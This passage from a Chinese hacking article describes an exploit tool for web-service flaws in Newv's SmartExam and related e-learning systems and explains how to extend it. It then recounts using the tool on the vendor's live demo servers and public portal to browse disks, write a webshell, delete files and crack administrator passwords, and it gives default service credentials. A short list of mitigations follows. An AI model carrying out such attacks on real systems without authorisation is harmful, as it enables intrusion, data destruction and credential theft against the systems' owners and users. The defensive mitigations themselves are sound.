![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0048_0115.jpg?sign=1738851177-bPjkqn6TzpLUhSnV3RVBJhyE858pGpxa-0-750d01aef60886438c624407402cec2b)
图49
关键技术:① DIV实现页面的框架栏目;② XMLHttpRequest对象的生成、调用及异常处理等;③ 全局变量URL的调用,比如表单form的action、链接的href等动态修改;④ 根据不同的Web服务接口函数的参数,显示和设置不同的参数输入栏;⑤ 根据不同的Web服务接口函数,生成不同的SOAP格式数据;⑥ SOAP方式提交数据,数据的特殊字符需要转义,如“<”、“>”必须用ASCII码值“<”、“>”代替;⑦ 返回数据的简单正则处理等;部分代码如图50所示。使用时,请首先输入以“http://”开头的URL,然后便可使用各个功能。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0048_0116.jpg?sign=1738851177-sS7NRtXUSGaLJChXlcoMGtcX9otGYiGt-0-2e1e66eacc985af13b3d584002fa4728)
图50
功能扩展:采用CSS+DIV+JS语言的优点是:不需要编程环境进行编译,使用任何文本编辑器就可以修改,而且即改即用。为了方便以后对该工具进行功能扩展,本文给出几处修改要点如下。
① 增加栏目,比如增加“Decrypto解密源码”,如图51所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0049_0117.jpg?sign=1738851177-9lA0mfJ3cSELybjAnSXlSvvyBeAF1iWn-0-1537b7a2ea82cafd392c831a7acb4955)
图51
② “FileManage.asmx漏洞”栏目增加新函数调用,比如“DeleteFile函数删除文件”,第1、2步如图52所示,第2步需要注意,如果DeleteFile函数只有一个参数sSourceFile,而且表单“form_2”也没有这个参数sSourceFile的输入栏,这时需要新增一个div,名称为“form_2_4”,内容是sSourceFile的input元素;第3步修改函数ShowForm(m,n),实现选择不同的操作函数,显示不同的参数输入栏,如图53所示,变量m=2表示与“FileManage.asmx漏洞”有关,m=3表示与“UserInterface.asmx漏洞”有关,变量n为select元素当前所选中option的值,即当前所选中的操作函数,n=5表示选中“DeleteFile函数删除文件”,这时只显示参数sSourceFile的输入栏,代码为“document.getElementById ("form_2_4").style.display="block";”;第4步修改函数createXML(m,n),生成SOAP格式数据,如图54所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0049_0118.jpg?sign=1738851177-QqxpJ27Vxpsw2xXJEQRFyNgrC45O87fT-0-0ecc0326a333cf5504f7fe542d9667b2)
图52
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0049_0119.jpg?sign=1738851177-SVtD1Di3MWymbYBmrBT69T7QtkS4Ss2E-0-4564b64a2e2b525d1ce6a8ff00f889bf)
图53
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0049_0120.jpg?sign=1738851177-9daGHCt3QqPgMcIbakSO6bXbYRRgZw2s-0-3a2c24b790ab70d0d9fc4fa83b67f287)
图54
③ “UserInterface.asmx漏洞”栏目增加新函数调用的修改方法与上面类似。
测试实例
本章重点使用“SmartExam 0Day漏洞利用工具”(以下简称漏洞利用工具)对新为官网和其他软件进行实测。新为目前共有4种系统提供体验试用,如图55所示,但是试用账号必须通过申请才能获得,接下来我们使用漏洞利用工具逐一进行实测,不需要用户名直接秒杀。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0049_0121.jpg?sign=1738851177-UY0jXgAh0mQDvzM04CDozF6dsUtTeg9Y-0-05aa1522bfe1393c1c77924243d0d6a2)
图55
测试SmartExam
网址URL为“http://demo.newv.com.cn/exam”,使用“FileManage.asmx漏洞”直接可以浏览网站目录,如图56所示,甚至可以浏览其他的分区和目录,如图57所示,毕竟.NET属于Users组权限。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0049_0122.jpg?sign=1738851177-PdlbGHjEwlFaLE83m6A4QEQ4CXk6tYB1-0-d73a6fe661b3abb799390ad2fc143509)
图56
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0050_0123.jpg?sign=1738851177-W9cNX0td9VO8W7YSPsOJbz1fv67ffKuj-0-cc71de34489f181f278d94e8e07be0e6)
图57
再使用“UserInterface.asmx漏洞”获得管理员admin密码,并成功破解,如图58所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0050_0124.jpg?sign=1738851177-MVWDT8ED3H9UC5ow3YLU2km13yc3LBYV-0-1f2590a8b5f9519191b97b6b4f81f4f2)
图58
使用“FileUpload.aspx上传漏洞”,如果页面跳回登录界面,则说明网站不允许直接访问FileUpload.aspx页面,最后使用“WriteTextFile”函数写文件成功,如图59所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0050_0125.jpg?sign=1738851177-0Rzf6QW6VwyB7sQ9KzTP8v4jnMFoXUIp-0-130f3189a58a7af09314b13871cc4808)
图59
测试SmartLearning学习发展系统(http://61.145.163.254:8091)、SmartBOS学习运营系统(http://61.145.163.254:8089)、LiveLearning培训会议系统(http://61.145.163.254:8095)全部通过,可以浏览磁盘分区、目录、文件,还可以写入、删除文件和破解管理员密码,后面两个系统允许不登录用户直接访问FileUpload.aspx页面。
2.测试新为门户网站(www.newv.com.cn)
我们注意到新为门户网站的页面链接中存在敏感字符“fileroot”,如图60所示,SmartExam系统用这个目录保存用户上传文件,通过进一步尝试,我们不难发现新为门户网站的目录结构与SmartExam等系统十分相似,可以这样推测:新为的门户网站使用了SamrtExam系统(或者是某种改版),其核心代码也应该相同。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0050_0126.jpg?sign=1738851177-To0R4PV9YlXmbHRmsPSVkObeFtS7y86p-0-6070d82c95ad6bc36923fa03aa2bbb01)
图60
访问FileUpload.aspx页面,跳转到登录界面,如图61所示,确认为SMARTBOS系统。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0050_0127.jpg?sign=1738851177-Rz7XowLIkJB32gvpdwe3GaFlVwyFUWU7-0-54948cc232594d35c22b926553fa0d9b)
图61
直接使用漏洞利用工具进行测试,可以浏览目录和文件、写一句话、获得加密密码,但是在使用Decrypto.aspx破解密码时出现异常错误,页面显示“Invalid length for a Base-64 char array.”,如图62所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0050_0128.jpg?sign=1738851177-lLTgtChPZ32LT1QXuuuwgyBASSu4IQ4D-0-fb7ca6a33e34c314190bee6fddb114d2)
图62
这是因为密文中存在“+”字符,用Request方式接收,“+”字符会漏掉,将“+”字符改为“%2b”,重新破解密码成功,如图63所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0051_0129.jpg?sign=1738851177-5PMu0Y9eYLF6BDsCf969FL4GzHn82Xof-0-3d3c710eb7e35b17fd19378feb57a430)
图63
回顾整个漏洞分析过程,从貌似坚不可摧到弱不禁风,好像SmartExam系统与我们开了个莫大的玩笑,真可谓天壤之别,而这一切竟源于SmartExam 2008——一个几年前的尘封版本。再次证明了开源与安全的辩证关系,也印证了“堡垒最容易从内部被攻破”的哲理。有了SmartExam 2008源码,我们可以顺藤摸瓜,对2010等版本也窥一斑而知全豹,再根据SmartExam按图索骥对新为的其他软件如SmartLearning、SmartBOS等有所了解。同时也反映出几点信息:新为各种版本之间的差异不是很大,包括跨平台之间,如SmartLearning、SmartBOS、SmartExam等,这样做虽然研发效率很高,但是安全性能大打折扣,一旦有一款产品出现问题,将蔓延至整个产品体系。
本文虽然从SmartExam 2008入手,但是引发的安全问题涉及新为的整个产品体系,从系统安全到数据安全。考虑到漏洞危害较大,而新为使用dll进行源码保护,普通用户不可能对系统进行深层次的漏洞防护,只能等待新为对产品进行修补升级,这里笔者仅给出一些简单的防护措施作为应急:①在后台的系统设置中,给“禁止上传的文件类型”(默认为“ exe;bat;cmd;scr;com ” )添加“aspx;asmx;asp;asmx;ashx”等文件类型;②修改“调用Web服务的用户名和密码”(默认为“system和system123456”);③对于SmartExam2010版本,修改newv.sso.dll.config文件,禁止不登录用户直接访问FileUpload.aspx页面;④ 删除或更名所有Web服务的asmx文件,如FileManage.asmx、UserInterface.asmx、ExamInterface.asmx、DistInterface.asmx等。
由于新为存在跨目录和用户权限验证不严的先天缺陷,导致普通用户可以跨目录上传文件和任意访问后台页面文件。Smart Exam 2010版本也仅在“/framework/desktop/Back*.aspx”一些框架页面中判断是否为管理员,其他后台页面文件依然可以任意访问,因此即使做过以上的漏洞防护措施,也无法防止内部用户的非法使用,比如访问后台页面文件,甚至利用ResFileManager.aspx、HtmlEditor.aspx上传文件,然后更名进行挂马。但是这种情况也只是局限在内部用户,危害程度明显减小许多。
(声明:本文涉及的漏洞利用工具仅供学习和研究,请勿用于非法用途,因此引发的法律纠纷与笔者无关。)
前置知识:C
关键词:ShellExecuteW